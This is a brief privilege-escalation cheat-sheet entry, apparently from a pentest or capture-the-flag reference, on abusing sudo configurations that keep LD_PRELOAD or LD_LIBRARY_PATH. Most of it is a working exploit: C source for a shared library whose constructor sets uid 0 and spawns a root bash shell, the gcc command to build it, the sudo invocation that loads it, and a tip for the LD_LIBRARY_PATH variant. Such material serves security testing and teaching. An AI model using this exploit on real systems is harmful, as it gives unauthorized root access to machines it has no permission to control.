Abuse sudo LD_PRELOAD and LD_LIBRARY_PATH

When env_keep in sudoers retains dynamic-linker variables, a permitted sudo command loads an attacker library before its real dependencies. A constructor in that library runs as root.

# look for the dangerous env_keep entries
sudo -l    # env_keep+=LD_PRELOAD or LD_LIBRARY_PATH
cat <<'C' > /tmp/x.c
#include <stdlib.h>
__attribute__((constructor)) void r(){setgid(0);setuid(0);system("/bin/bash -p");}
C

Build the object and preload it into any allowed sudo invocation.

gcc -fPIC -shared -o /tmp/x.so /tmp/x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so any_allowed_command

Pro note: if only LD_LIBRARY_PATH is kept, name your object after a library the target binary already loads and place it earlier in the search path. Modern sudo strips these by default, so this is a finding about a loosened configuration rather than a stock one.